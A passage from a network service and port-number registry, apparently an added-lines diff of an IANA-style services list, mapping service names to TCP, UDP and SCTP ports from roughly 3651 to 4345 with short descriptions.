3651/udp XRPC Registry +vxcrnbuport 3652/tcp VxCR NBU Default Port +vxcrnbuport 3652/udp VxCR NBU Default Port +tsp 3653/tcp Tunnel Setup Protocol +tsp 3653/udp Tunnel Setup Protocol +vaprtm 3654/tcp VAP RealTime Messenger +vaprtm 3654/udp VAP RealTime Messenger +abatemgr 3655/tcp ActiveBatch Exec Agent +abatemgr 3655/udp ActiveBatch Exec Agent +abatjss 3656/tcp ActiveBatch Job Scheduler +abatjss 3656/udp ActiveBatch Job Scheduler +immedianet-bcn 3657/tcp ImmediaNet Beacon +immedianet-bcn 3657/udp ImmediaNet Beacon +ps-ams 3658/tcp PlayStation AMS (Secure) +ps-ams 3658/udp PlayStation AMS (Secure) +apple-sasl 3659/tcp Apple SASL +apple-sasl 3659/udp Apple SASL +can-nds-ssl 3660/tcp Candle Directory Services using SSL +can-nds-ssl 3660/udp Candle Directory Services using SSL +can-ferret-ssl 3661/tcp Candle Directory Services using SSL +can-ferret-ssl 3661/udp Candle Directory Services using SSL +pserver 3662/tcp pserver +pserver 3662/udp pserver +dtp 3663/tcp DIRECWAY Tunnel Protocol +dtp 3663/udp DIRECWAY Tunnel Protocol +ups-engine 3664/tcp UPS Engine Port +ups-engine 3664/udp UPS Engine Port +ent-engine 3665/tcp Enterprise Engine Port +ent-engine 3665/udp Enterprise Engine Port +eserver-pap 3666/tcp IBM eServer PAP +eserver-pap 3666/udp IBM EServer PAP +infoexch 3667/tcp IBM Information Exchange +infoexch 3667/udp IBM Information Exchange +dell-rm-port 3668/tcp Dell Remote Management +dell-rm-port 3668/udp Dell Remote Management +casanswmgmt 3669/tcp CA SAN Switch Management +casanswmgmt 3669/udp CA SAN Switch Management +smile 3670/tcp SMILE TCP/UDP Interface +smile 3670/udp SMILE TCP/UDP Interface +efcp 3671/tcp e Field Control (EIBnet) +efcp 3671/udp e Field Control (EIBnet) +lispworks-orb 3672/tcp LispWorks ORB +lispworks-orb 3672/udp LispWorks ORB +mediavault-gui 3673/tcp Openview Media Vault GUI +mediavault-gui 3673/udp Openview Media Vault GUI +wininstall-ipc 3674/tcp WinINSTALL IPC Port +wininstall-ipc 3674/udp WinINSTALL IPC Port +calltrax 3675/tcp CallTrax Data Port +calltrax 3675/udp CallTrax Data Port +va-pacbase 3676/tcp VisualAge Pacbase server +va-pacbase 3676/udp VisualAge Pacbase server +roverlog 3677/tcp RoverLog IPC +roverlog 3677/udp RoverLog IPC +ipr-dglt 3678/tcp DataGuardianLT +ipr-dglt 3678/udp DataGuardianLT +newton-dock 3679/tcp Newton Dock +newton-dock 3679/udp Newton Dock +npds-tracker 3680/tcp NPDS Tracker +npds-tracker 3680/udp NPDS Tracker +bts-x73 3681/tcp BTS X73 Port +bts-x73 3681/udp BTS X73 Port +cas-mapi 3682/tcp EMC SmartPackets-MAPI +cas-mapi 3682/udp EMC SmartPackets-MAPI +bmc-ea 3683/tcp BMC EDV/EA +bmc-ea 3683/udp BMC EDV/EA +faxstfx-port 3684/tcp FAXstfX +faxstfx-port 3684/udp FAXstfX +dsx-agent 3685/tcp DS Expert Agent +dsx-agent 3685/udp DS Expert Agent +tnmpv2 3686/tcp Trivial Network Management +tnmpv2 3686/udp Trivial Network Management +simple-push 3687/tcp simple-push +simple-push 3687/udp simple-push +simple-push-s 3688/tcp simple-push Secure +simple-push-s 3688/udp simple-push Secure +daap 3689/tcp Digital Audio Access Protocol +daap 3689/udp Digital Audio Access Protocol +svn 3690/tcp Subversion +svn 3690/udp Subversion +magaya-network 3691/tcp Magaya Network Port +magaya-network 3691/udp Magaya Network Port +intelsync 3692/tcp Brimstone IntelSync +intelsync 3692/udp Brimstone IntelSync +gttp 3693/tcp GTTP +gttp 3693/udp GTTP +vpntpp 3694/tcp VPN Token Propagation Protocol +vpntpp 3694/udp VPN Token Propagation Protocol +bmc-data-coll 3695/tcp BMC Data Collection +bmc-data-coll 3695/udp BMC Data Collection +telnetcpcd 3696/tcp Telnet Com Port Control +telnetcpcd 3696/udp Telnet Com Port Control +nw-license 3697/tcp NavisWorks License System +nw-license 3697/udp NavisWorks Licnese System +sagectlpanel 3698/tcp SAGECTLPANEL +sagectlpanel 3698/udp SAGECTLPANEL +kpn-icw 3699/tcp Internet Call Waiting +kpn-icw 3699/udp Internet Call Waiting +lrs-paging 3700/tcp LRS NetPage +lrs-paging 3700/udp LRS NetPage +netcelera 3701/tcp NetCelera +netcelera 3701/udp NetCelera +ws-discovery 3702/tcp Web Service Discovery +ws-discovery 3702/udp Web Service Discovery +adobeserver-3 3703/tcp Adobe Server 3 +adobeserver-3 3703/udp Adobe Server 3 +adobeserver-4 3704/tcp Adobe Server 4 +adobeserver-4 3704/udp Adobe Server 4 +adobeserver-5 3705/tcp Adobe Server 5 +adobeserver-5 3705/udp Adobe Server 5 +rt-event 3706/tcp Real-Time Event Port +rt-event 3706/udp Real-Time Event Port +rt-event-s 3707/tcp Real-Time Event Secure Port +rt-event-s 3707/udp Real-Time Event Secure Port +ca-idms 3709/tcp CA-IDMS Server +ca-idms 3709/udp CA-IDMS Server +portgate-auth 3710/tcp PortGate Authentication +portgate-auth 3710/udp PortGate Authentication +edb-server2 3711/tcp EBD Server 2 +edb-server2 3711/udp EBD Server 2 +sentinel-ent 3712/tcp Sentinel Enterprise +sentinel-ent 3712/udp Sentinel Enterprise +tftps 3713/tcp TFTP over TLS +tftps 3713/udp TFTP over TLS +delos-dms 3714/tcp DELOS Direct Messaging +delos-dms 3714/udp DELOS Direct Messaging +anoto-rendezv 3715/tcp Anoto Rendezvous Port +anoto-rendezv 3715/udp Anoto Rendezvous Port +wv-csp-sms-cir 3716/tcp WV CSP SMS CIR Channel +wv-csp-sms-cir 3716/udp WV CSP SMS CIR Channel +wv-csp-udp-cir 3717/tcp WV CSP UDP/IP CIR Channel +wv-csp-udp-cir 3717/udp WV CSP UDP/IP CIR Channel +opus-services 3718/tcp OPUS Server Port +opus-services 3718/udp OPUS Server Port +itelserverport 3719/tcp iTel Server Port +itelserverport 3719/udp iTel Server Port +ufastro-instr 3720/tcp UF Astro. Instr. Services +ufastro-instr 3720/udp UF Astro. Instr. Services +xsync 3721/tcp Xsync +xsync 3721/udp Xsync +xserveraid 3722/tcp Xserve RAID +xserveraid 3722/udp Xserve RAID +sychrond 3723/tcp Sychron Service Daemon +sychrond 3723/udp Sychron Service Daemon +battlenet 3724/tcp Blizzard Battlenet +battlenet 3724/udp Blizzard Battlenet +na-er-tip 3725/tcp Netia NA-ER Port +na-er-tip 3725/udp Netia NA-ER Port +array-manager 3726/tcp Xyratex Array Manager +array-manager 3726/udp Xyartex Array Manager +e-mdu 3727/tcp Ericsson Mobile Data Unit +e-mdu 3727/udp Ericsson Mobile Data Unit +e-woa 3728/tcp Ericsson Web on Air +e-woa 3728/udp Ericsson Web on Air +fksp-audit 3729/tcp Fireking Audit Port +fksp-audit 3729/udp Fireking Audit Port +client-ctrl 3730/tcp Client Control +client-ctrl 3730/udp Client Control +smap 3731/tcp Service Manager +smap 3731/udp Service Manager +m-wnn 3732/tcp Mobile Wnn +m-wnn 3732/udp Mobile Wnn +multip-msg 3733/tcp Multipuesto Msg Port +multip-msg 3733/udp Multipuesto Msg Port +synel-data 3734/tcp Synel Data Collection Port +synel-data 3734/udp Synel Data Collection Port +pwdis 3735/tcp Password Distribution +pwdis 3735/udp Password Distribution +rs-rmi 3736/tcp RealSpace RMI +rs-rmi 3736/udp RealSpace RMI +versatalk 3738/tcp versaTalk Server Port +versatalk 3738/udp versaTalk Server Port +launchbird-lm 3739/tcp Launchbird LicenseManager +launchbird-lm 3739/udp Launchbird LicenseManager +heartbeat 3740/tcp Heartbeat Protocol +heartbeat 3740/udp Heartbeat Protocol +wysdma 3741/tcp WysDM Agent +wysdma 3741/udp WysDM Agent +cst-port 3742/tcp CST - Configuration & Service Tracker +cst-port 3742/udp CST - Configuration & Service Tracker +ipcs-command 3743/tcp IP Control Systems Ltd. +ipcs-command 3743/udp IP Control Systems Ltd. +sasg 3744/tcp SASG +sasg 3744/udp SASG +gw-call-port 3745/tcp GWRTC Call Port +gw-call-port 3745/udp GWRTC Call Port +linktest 3746/tcp LXPRO.COM LinkTest +linktest 3746/udp LXPRO.COM LinkTest +linktest-s 3747/tcp LXPRO.COM LinkTest SSL +linktest-s 3747/udp LXPRO.COM LinkTest SSL +webdata 3748/tcp webData +webdata 3748/udp webData +cimtrak 3749/tcp CimTrak +cimtrak 3749/udp CimTrak +cbos-ip-port 3750/tcp CBOS/IP ncapsalation port +cbos-ip-port 3750/udp CBOS/IP ncapsalatoin port +gprs-cube 3751/tcp CommLinx GPRS Cube +gprs-cube 3751/udp CommLinx GPRS Cube +vipremoteagent 3752/tcp Vigil-IP RemoteAgent +vipremoteagent 3752/udp Vigil-IP RemoteAgent +nattyserver 3753/tcp NattyServer Port +nattyserver 3753/udp NattyServer Port +timestenbroker 3754/tcp TimesTen Broker Port +timestenbroker 3754/udp TimesTen Broker Port +sas-remote-hlp 3755/tcp SAS Remote Help Server +sas-remote-hlp 3755/udp SAS Remote Help Server +canon-capt 3756/tcp Canon CAPT Port +canon-capt 3756/udp Canon CAPT Port +grf-port 3757/tcp GRF Server Port +grf-port 3757/udp GRF Server Port +apw-registry 3758/tcp apw RMI registry +apw-registry 3758/udp apw RMI registry +exapt-lmgr 3759/tcp Exapt License Manager +exapt-lmgr 3759/udp Exapt License Manager +adtempusclient 3760/tcp adTempus Client +adtempusclient 3760/udp adTEmpus Client +gsakmp 3761/tcp gsakmp port +gsakmp 3761/udp gsakmp port +gbs-smp 3762/tcp GBS SnapMail Protocol +gbs-smp 3762/udp GBS SnapMail Protocol +xo-wave 3763/tcp XO Wave Control Port +xo-wave 3763/udp XO Wave Control Port +mni-prot-rout 3764/tcp MNI Protected Routing +mni-prot-rout 3764/udp MNI Protected Routing +rtraceroute 3765/tcp Remote Traceroute +rtraceroute 3765/udp Remote Traceroute +listmgr-port 3767/tcp ListMGR Port +listmgr-port 3767/udp ListMGR Port +rblcheckd 3768/tcp rblcheckd server daemon +rblcheckd 3768/udp rblcheckd server daemon +haipe-otnk 3769/tcp HAIPE Network Keying +haipe-otnk 3769/udp HAIPE Network Keying +cindycollab 3770/tcp Cinderella Collaboration +cindycollab 3770/udp Cinderella Collaboration +paging-port 3771/tcp RTP Paging Port +paging-port 3771/udp RTP Paging Port +ctp 3772/tcp Chantry Tunnel Protocol +ctp 3772/udp Chantry Tunnel Protocol +ctdhercules 3773/tcp ctdhercules +ctdhercules 3773/udp ctdhercules +zicom 3774/tcp ZICOM +zicom 3774/udp ZICOM +ispmmgr 3775/tcp ISPM Manager Port +ispmmgr 3775/udp ISPM Manager Port +dvcprov-port 3776/tcp Device Provisioning Port +dvcprov-port 3776/udp Device Provisioning Port +jibe-eb 3777/tcp Jibe EdgeBurst +jibe-eb 3777/udp Jibe EdgeBurst +c-h-it-port 3778/tcp Cutler-Hammer IT Port +c-h-it-port 3778/udp Cutler-Hammer IT Port +cognima 3779/tcp Cognima Replication +cognima 3779/udp Cognima Replication +nnp 3780/tcp Nuzzler Network Protocol +nnp 3780/udp Nuzzler Network Protocol +abcvoice-port 3781/tcp ABCvoice server port +abcvoice-port 3781/udp ABCvoice server port +iso-tp0s 3782/tcp Secure ISO TP0 port +iso-tp0s 3782/udp Secure ISO TP0 port +bim-pem 3783/tcp Impact Mgr./PEM Gateway +bim-pem 3783/udp Impact Mgr./PEM Gateway +bfd 3784/tcp BFD +bfd 3784/udp BFD +bfd-control 3785/tcp BFD-Control +bfd-control 3785/udp BFD-Control +upstriggervsw 3786/tcp VSW Upstrigger port +upstriggervsw 3786/udp VSW Upstrigger port +fintrx 3787/tcp Fintrx +fintrx 3787/udp Fintrx +isrp-port 3788/tcp SPACEWAY Routing port +isrp-port 3788/udp SPACEWAY Routing port +remotedeploy 3789/tcp RemoteDeploy Administrati +remotedeploy 3789/udp RemoteDeploy Administrati +quickbooksrds 3790/tcp QuickBooks RDS +quickbooksrds 3790/udp QuickBooks RDS +tvnetworkvideo 3791/tcp TV NetworkVideo Data port +tvnetworkvideo 3791/udp TV NetworkVideo Data port +sitewatch 3792/tcp e-watch, Inc. SiteWatch +sitewatch 3792/udp e-watch, Inc. Sitewatch +dcsoftware 3793/tcp DataCore Software +dcsoftware 3793/udp DataCore Software +jaus 3794/tcp JAUS Robots +jaus 3794/udp JAUS Robots +myblast 3795/tcp myBLAST Mekentosj port +myblast 3795/udp myBLAST Mekentosj port +spw-dialer 3796/tcp Spaceway Dialer +spw-dialer 3796/udp Spaceway Dialer +idps 3797/tcp idps +idps 3797/udp idps +minilock 3798/tcp Minilock +minilock 3798/udp Minilock +radius-dynauth 3799/tcp RADIUS Dynamic Authorization +radius-dynauth 3799/udp RADIUS Dynamic Authorization +pwgpsi 3800/tcp Print Services Interface +pwgpsi 3800/udp Print Services Interface +vhd 3802/tcp VHD +vhd 3802/udp VHD +soniqsync 3803/tcp SoniqSync +soniqsync 3803/udp SoniqSync +iqnet-port 3804/tcp Harman IQNet Port +iqnet-port 3804/udp Harman IQNet Port +tcpdataserver 3805/tcp ThorGuard Server Port +tcpdataserver 3805/udp ThorGuard Server Port +wsmlb 3806/tcp Remote System Manager +wsmlb 3806/udp Remote System Manager +spugna 3807/tcp SpuGNA Communication Port +spugna 3807/udp SpuGNA Communication Port +wlanauth 3810/tcp WLAN AS server +wlanauth 3810/udp WLAN AS server +amp 3811/tcp AMP +amp 3811/udp AMP +neto-wol-server 3812/tcp netO WOL Server +neto-wol-server 3812/udp netO WOL Server +rap-ip 3813/tcp Rhapsody Interface Protocol +rap-ip 3813/udp Rhapsody Interface Protocol +neto-dcs 3814/tcp netO DCS +neto-dcs 3814/udp netO DCS +lansurveyorxml 3815/tcp LANsurveyor XML +lansurveyorxml 3815/udp LANsurveyor XML +sunlps-http 3816/tcp Sun Local Patch Server +sunlps-http 3816/udp Sun Local Patch Server +tapeware 3817/tcp Yosemite Tech Tapeware +tapeware 3817/udp Yosemite Tech Tapeware +crinis-hb 3818/tcp Crinis Heartbeat +crinis-hb 3818/udp Crinis Heartbeat +sos 3838/tcp Scito Object Server +sos 3838/udp Scito Object Server +amx-rms 3839/tcp AMX Resource Management Suite +amx-rms 3839/udp AMX Resource Management Suite +flirtmitmir 3840/tcp www.FlirtMitMir.de +flirtmitmir 3840/udp www.FlirtMitMir.de +zfirm-shiprush3 3841/tcp Z-Firm ShipRush v3 +zfirm-shiprush3 3841/udp Z-Firm ShipRush v3 +nhci 3842/tcp NHCI status port +nhci 3842/udp NHCI status port +quest-agent 3843/tcp Quest Common Agent +quest-agent 3843/udp Quest Common Agent +rnm 3844/tcp RNM +rnm 3844/udp RNM +v-one-spp 3845/tcp V-ONE Single Port Proxy +v-one-spp 3845/udp V-ONE Single Port Proxy +an-pcp 3846/tcp Astare Network PCP +an-pcp 3846/udp Astare Network PCP +msfw-control 3847/tcp MS Firewall Control +msfw-control 3847/udp MS Firewall Control +item 3848/tcp IT Environmental Monitor +item 3848/udp IT Environmental Monitor +spw-dnspreload 3849/tcp SPACEWAY DNS Preload +spw-dnspreload 3849/udp SPACEWAY DNS Prelaod +qtms-bootstrap 3850/tcp QTMS Bootstrap Protocol +qtms-bootstrap 3850/udp QTMS Bootstrap Protocol +spectraport 3851/tcp SpectraTalk Port +spectraport 3851/udp SpectraTalk Port +sse-app-config 3852/tcp SSE App Configuration +sse-app-config 3852/udp SSE App Configuration +sscan 3853/tcp SONY scanning protocol +sscan 3853/udp SONY scanning protocol +stryker-com 3854/tcp Stryker Comm Port +stryker-com 3854/udp Stryker Comm Port +opentrac 3855/tcp OpenTRAC +opentrac 3855/udp OpenTRAC +informer 3856/tcp INFORMER +informer 3856/udp INFORMER +trap-port 3857/tcp Trap Port +trap-port 3857/udp Trap Port +trap-port-mom 3858/tcp Trap Port MOM +trap-port-mom 3858/udp Trap Port MOM +nav-port 3859/tcp Navini Port +nav-port 3859/udp Navini Port +ewlm 3860/tcp eWLM +ewlm 3860/udp eWLM +winshadow-hd 3861/tcp winShadow Host Discovery +winshadow-hd 3861/udp winShadow Host Discovery +giga-pocket 3862/tcp GIGA-POCKET +giga-pocket 3862/udp GIGA-POCKET +asap-tcp 3863/tcp asap tcp port +asap-tcp 3863/udp asap tcp port +asap-tcp-tls 3864/tcp asap/tls tcp port +asap-tcp-tls 3864/udp asap/tls tcp port +xpl 3865/tcp xpl automation protocol +xpl 3865/udp xpl automation protocol +dzdaemon 3866/tcp Sun SDViz DZDAEMON Port +dzdaemon 3866/udp Sun SDViz DZDAEMON Port +dzoglserver 3867/tcp Sun SDViz DZOGLSERVER Port +dzoglserver 3867/udp Sun SDViz DZOGLSERVER Port +diameter 3868/tcp DIAMETER +diameter 3868/sctp DIAMETER +ovsam-mgmt 3869/tcp hp OVSAM MgmtServer Disco +ovsam-mgmt 3869/udp hp OVSAM MgmtServer Disco +ovsam-d-agent 3870/tcp hp OVSAM HostAgent Disco +ovsam-d-agent 3870/udp hp OVSAM HostAgent Disco +avocent-adsap 3871/tcp Avocent DS Authorization +avocent-adsap 3871/udp Avocent DS Authorization +oem-agent 3872/tcp OEM Agent +oem-agent 3872/udp OEM Agent +fagordnc 3873/tcp fagordnc +fagordnc 3873/udp fagordnc +sixxsconfig 3874/tcp SixXS Configuration +sixxsconfig 3874/udp SixXS Configuration +pnbscada 3875/tcp PNBSCADA +pnbscada 3875/udp PNBSCADA +dl_agent 3876/tcp DirectoryLockdown Agent +dl_agent 3876/udp DirectoryLockdown Agent +xmpcr-interface 3877/tcp XMPCR Interface Port +xmpcr-interface 3877/udp XMPCR Interface Port +fotogcad 3878/tcp FotoG CAD interface +fotogcad 3878/udp FotoG CAD interface +appss-lm 3879/tcp appss license manager +appss-lm 3879/udp appss license manager +microgrid 3880/tcp microgrid +microgrid 3880/udp microgrid +idac 3881/tcp Data Acquisition and Control +idac 3881/udp Data Acquisition and Control +msdts1 3882/tcp DTS Service Port +msdts1 3882/udp DTS Service Port +vrpn 3883/tcp VR Peripheral Network +vrpn 3883/udp VR Peripheral Network +softrack-meter 3884/tcp SofTrack Metering +softrack-meter 3884/udp SofTrack Metering +topflow-ssl 3885/tcp TopFlow SSL +topflow-ssl 3885/udp TopFlow SSL +nei-management 3886/tcp NEI management port +nei-management 3886/udp NEI management port +leogic-data 3887/tcp Leogic Data Transport +leogic-data 3887/udp Leogic Data Transport +leogic-services 3888/tcp Leogic Services +leogic-services 3888/udp Leogic Services +dandv-tester 3889/tcp D and V Tester Control Port +dandv-tester 3889/udp D and V Tester Control Port +ndsconnect 3890/tcp Niche Data Server Connect +ndsconnect 3890/udp Niche Data Server Connect +rtc-pm-port 3891/tcp Oracle RTC-PM port +rtc-pm-port 3891/udp Oracle RTC-PM port +pcc-image-port 3892/tcp PCC-image-port +pcc-image-port 3892/udp PCC-image-port +cgi-starapi 3893/tcp CGI StarAPI Server +cgi-starapi 3893/udp CGI StarAPI Server +syam-agent 3894/tcp SyAM Agent Port +syam-agent 3894/udp SyAM Agent Port +syam-smc 3895/tcp SyAm SMC Service Port +syam-smc 3895/udp SyAm SMC Service Port +sdo-tls 3896/tcp Simple Distributed Objects over TLS +sdo-tls 3896/udp Simple Distributed Objects over TLS +sdo-ssh 3897/tcp Simple Distributed Objects over SSH +sdo-ssh 3897/udp Simple Distributed Objects over SSH +senip 3898/tcp IAS, Inc. SmartEye NET Internet Protocol +senip 3898/udp IAS, Inc. SmartEye NET Internet Protocol +itv-control 3899/tcp ITV Port +itv-control 3899/udp ITV Port +udt_os 3900/tcp Unidata UDT OS +udt_os 3900/udp Unidata UDT OS +nimsh 3901/tcp NIM Service Handler +nimsh 3901/udp NIM Service Handler +nimaux 3902/tcp NIMsh Auxiliary Port +nimaux 3902/udp NIMsh Auxiliary Port +charsetmgr 3903/tcp CharsetMGR +charsetmgr 3903/udp CharsetMGR +omnilink-port 3904/tcp Arnet Omnilink Port +omnilink-port 3904/udp Arnet Omnilink Port +mupdate 3905/tcp Mailbox Update (MUPDATE) protocol +mupdate 3905/udp Mailbox Update (MUPDATE) protocol +topovista-data 3906/tcp TopoVista elevation data +topovista-data 3906/udp TopoVista elevation data +imoguia-port 3907/tcp Imoguia Port +imoguia-port 3907/udp Imoguia Port +hppronetman 3908/tcp HP Procurve NetManagement +hppronetman 3908/udp HP Procurve NetManagement +surfcontrolcpa 3909/tcp SurfControl CPA +surfcontrolcpa 3909/udp SurfControl CPA +prnrequest 3910/tcp Printer Request Port +prnrequest 3910/udp Printer Request Port +prnstatus 3911/tcp Printer Status Port +prnstatus 3911/udp Printer Status Port +gbmt-stars 3912/tcp Global Maintech Stars +gbmt-stars 3912/udp Global Maintech Stars +listcrt-port 3913/tcp ListCREATOR Port +listcrt-port 3913/udp ListCREATOR Port +listcrt-port-2 3914/tcp ListCREATOR Port 2 +listcrt-port-2 3914/udp ListCREATOR Port 2 +agcat 3915/tcp Auto-Graphics Cataloging +agcat 3915/udp Auto-Graphics Cataloging +wysdmc 3916/tcp WysDM Controller +wysdmc 3916/udp WysDM Controller +aftmux 3917/tcp AFT multiplex port +aftmux 3917/udp AFT multiples port +pktcablemmcops 3918/tcp PacketCableMultimediaCOPS +pktcablemmcops 3918/udp PacketCableMultimediaCOPS +hyperip 3919/tcp HyperIP +hyperip 3919/udp HyperIP +exasoftport1 3920/tcp Exasoft IP Port +exasoftport1 3920/udp Exasoft IP Port +herodotus-net 3921/tcp Herodotus Net +herodotus-net 3921/udp Herodotus Net +sor-update 3922/tcp Soronti Update Port +sor-update 3922/udp Soronti Update Port +symb-sb-port 3923/tcp Symbian Service Broker +symb-sb-port 3923/udp Symbian Service Broker +mpl-gprs-port 3924/tcp MPL_GPRS_PORT +mpl-gprs-port 3924/udp MPL_GPRS_Port +zmp 3925/tcp Zoran Media Port +zmp 3925/udp Zoran Media Port +winport 3926/tcp WINPort +winport 3926/udp WINPort +natdataservice 3927/tcp ScsTsr +natdataservice 3927/udp ScsTsr +netboot-pxe 3928/tcp PXE NetBoot Manager +netboot-pxe 3928/udp PXE NetBoot Manager +smauth-port 3929/tcp AMS Port +smauth-port 3929/udp AMS Port +syam-webserver 3930/tcp Syam Web Server Port +syam-webserver 3930/udp Syam Web Server Port +msr-plugin-port 3931/tcp MSR Plugin Port +msr-plugin-port 3931/udp MSR Plugin Port +dyn-site 3932/tcp Dynamic Site System +dyn-site 3932/udp Dynamic Site System +plbserve-port 3933/tcp PL/B App Server User Port +plbserve-port 3933/udp PL/B App Server User Port +sunfm-port 3934/tcp PL/B File Manager Port +sunfm-port 3934/udp PL/B File Manager Port +sdp-portmapper 3935/tcp SDP Port Mapper Protocol +sdp-portmapper 3935/udp SDP Port Mapper Protocol +mailprox 3936/tcp Mailprox +mailprox 3936/udp Mailprox +dvbservdscport 3937/tcp DVB Service Disc Port +dvbservdscport 3937/udp DVB Service Disc Port +dbcontrol_agent 3938/tcp Oracle dbControl Agent po +dbcontrol_agent 3938/udp Oracel dbControl Agent po +aamp 3939/tcp Anti-virus Application Management Port +aamp 3939/udp Anti-virus Application Management Port +xecp-node 3940/tcp XeCP Node Service +xecp-node 3940/udp XeCP Node Service +homeportal-web 3941/tcp Home Portal Web Server +homeportal-web 3941/udp Home Portal Web Server +srdp 3942/tcp satellite distribution +srdp 3942/udp satellite distribution +tig 3943/tcp TetraNode Ip Gateway +tig 3943/udp TetraNode Ip Gateway +sops 3944/tcp S-Ops Management +sops 3944/udp S-Ops Management +emcads 3945/tcp EMCADS Server Port +emcads 3945/udp EMCADS Server Port +backupedge 3946/tcp BackupEDGE Server +backupedge 3946/udp BackupEDGE Server +ccp 3947/tcp Connect and Control Protocol for Consumer, Commercial, and Industrial Electronic Devices +ccp 3947/udp Connect and Control Protocol for Consumer, Commercial, and Industrial Electronic Devices +apdap 3948/tcp Anton Paar Device Administration Protocol +apdap 3948/udp Anton Paar Device Administration Protocol +drip 3949/tcp Dynamic Routing Information Protocol +drip 3949/udp Dynamic Routing Information Protocol +namemunge 3950/tcp Name Munging +namemunge 3950/udp Name Munging +mapper-nodemgr 3984/tcp MAPPER network node manager +mapper-nodemgr 3984/udp MAPPER network node manager +mapper-mapethd 3985/tcp MAPPER TCP/IP server +mapper-mapethd 3985/udp MAPPER TCP/IP server +mapper-ws_ethd 3986/tcp MAPPER workstation server +mapper-ws_ethd 3986/udp MAPPER workstation server +centerline 3987/tcp Centerline +centerline 3987/udp Centerline +iss-mgmt-ssl 3995/tcp ISS Management Svcs SSL +iss-mgmt-ssl 3995/udp ISS Management Svcs SSL +abcsoftware 3996/tcp abcsoftware-01 +abscoftware 3996/udp abcsoftware-01 +terabase 4000/tcp Terabase +terabase 4000/udp Terabase +newoak 4001/tcp NewOak +newoak 4001/udp NewOak +pxc-spvr-ft 4002/tcp pxc-spvr-ft +pxc-spvr-ft 4002/udp pxc-spvr-ft +pxc-splr-ft 4003/tcp pxc-splr-ft +pxc-splr-ft 4003/udp pxc-splr-ft +pxc-roid 4004/tcp pxc-roid +pxc-roid 4004/udp pxc-roid +pxc-pin 4005/tcp pxc-pin +pxc-pin 4005/udp pxc-pin +pxc-spvr 4006/tcp pxc-spvr +pxc-spvr 4006/udp pxc-spvr +pxc-splr 4007/tcp pxc-splr +pxc-splr 4007/udp pxc-splr +netcheque 4008/tcp NetCheque accounting +netcheque 4008/udp NetCheque accounting +chimera-hwm 4009/tcp Chimera HWM +chimera-hwm 4009/udp Chimera HWM +samsung-unidex 4010/tcp Samsung Unidex +samsung-unidex 4010/udp Samsung Unidex +altserviceboot 4011/tcp Alternate Service Boot +altserviceboot 4011/udp Alternate Service Boot +pda-gate 4012/tcp PDA Gate +pda-gate 4012/udp PDA Gate +acl-manager 4013/tcp ACL Manager +acl-manager 4013/udp ACL Manager +taiclock 4014/tcp TAICLOCK +taiclock 4014/udp TAICLOCK +talarian-mcast1 4015/tcp Talarian Mcast +talarian-mcast1 4015/udp Talarian Mcast +talarian-mcast2 4016/tcp Talarian Mcast +talarian-mcast2 4016/udp Talarian Mcast +talarian-mcast3 4017/tcp Talarian Mcast +talarian-mcast3 4017/udp Talarian Mcast +talarian-mcast4 4018/tcp Talarian Mcast +talarian-mcast4 4018/udp Talarian Mcast +talarian-mcast5 4019/tcp Talarian Mcast +talarian-mcast5 4019/udp Talarian Mcast +trap 4020/tcp TRAP Port +trap 4020/udp TRAP Port +nexus-portal 4021/tcp Nexus Portal +nexus-portal 4021/udp Nexus Portal +dnox 4022/tcp DNOX +dnox 4022/udp DNOX +esnm-zoning 4023/tcp ESNM Zoning Port +esnm-zoning 4023/udp ESNM Zoning Port +tnp1-port 4024/tcp TNP1 User Port +tnp1-port 4024/udp TNP1 User Port +partimage 4025/tcp Partition Image Port +partimage 4025/udp Partition Image Port +as-debug 4026/tcp Graphical Debug Server +as-debug 4026/udp Graphical Debug Server +bxp 4027/tcp bitxpress +bxp 4027/udp bitxpress +dtserver-port 4028/tcp DTServer Port +dtserver-port 4028/udp DTServer Port +ip-qsig 4029/tcp IP Q signaling protocol +ip-qsig 4029/udp IP Q signaling protocol +jdmn-port 4030/tcp Accell/JSP Daemon Port +jdmn-port 4030/udp Accell/JSP Daemon Port +suucp 4031/tcp UUCP over SSL +suucp 4031/udp UUCP over SSL +vrts-auth-port 4032/tcp VERITAS Authorization Service +vrts-auth-port 4032/udp VERITAS Authorization Service +sanavigator 4033/tcp SANavigator Peer Port +sanavigator 4033/udp SANavigator Peer Port +ubxd 4034/tcp Ubiquinox Daemon +ubxd 4034/udp Ubiquinox Daemon +wap-push-http 4035/tcp WAP Push OTA-HTTP port +wap-push-http 4035/udp WAP Push OTA-HTTP port +wap-push-https 4036/tcp WAP Push OTA-HTTP secure +wap-push-https 4036/udp WAP Push OTA-HTTP secure +yo-main 4040/tcp Yo.net main service +yo-main 4040/udp Yo.net main service +houston 4041/tcp Rocketeer-Houston +houston 4041/udp Rocketeer-Houston +ldxp 4042/tcp LDXP +ldxp 4042/udp LDXP +bre 4096/tcp BRE (Bridge Relay Element) +bre 4096/udp BRE (Bridge Relay Element) +patrolview 4097/tcp Patrol View +patrolview 4097/udp Patrol View +drmsfsd 4098/tcp drmsfsd +drmsfsd 4098/udp drmsfsd +dpcp 4099/tcp DPCP +dpcp 4099/udp DPCP +igo-incognito 4100/tcp IGo Incognito Data Port +igo-incognito 4100/udp IGo Incognito Data Port +jomamqmonitor 4114/tcp JomaMQMonitor +jomamqmonitor 4114/udp JomaMQMonitor +nuts_dem 4132/tcp NUTS Daemon +nuts_dem 4132/udp NUTS Daemon +nuts_bootp 4133/tcp NUTS Bootp Server +nuts_bootp 4133/udp NUTS Bootp Server +nifty-hmi 4134/tcp NIFTY-Serve HMI protocol +nifty-hmi 4134/udp NIFTY-Serve HMI protocol +nettest 4138/tcp nettest +nettest 4138/udp nettest +oirtgsvc 4141/tcp Workflow Server +oirtgsvc 4141/udp Workflow Server +oidocsvc 4142/tcp Document Server +oidocsvc 4142/udp Document Server +oidsr 4143/tcp Document Replication +oidsr 4143/udp Document Replication +vvr-control 4145/tcp VVR Control +vvr-control 4145/udp VVR Control +atlinks 4154/tcp atlinks device discovery +atlinks 4154/udp atlinks device discovery +jini-discovery 4160/tcp Jini Discovery +jini-discovery 4160/udp Jini Discovery +eims-admin 4199/tcp EIMS ADMIN +eims-admin 4199/udp EIMS ADMIN +vrml-multi-use 4200-4299 VRML Multi User Systems +corelccam 4300/tcp Corel CCam +corelccam 4300/udp Corel CCam +rwhois 4321/tcp Remote Who Is +rwhois 4321/udp Remote Who Is +unicall 4343/tcp UNICALL +unicall 4343/udp UNICALL +vinainstall 4344/tcp VinaInstall +vinainstall 4344/udp VinaInstall +m4-network-as 4345/tcp Macro 4 Network AS +m4-network-as 4345/udp Macro 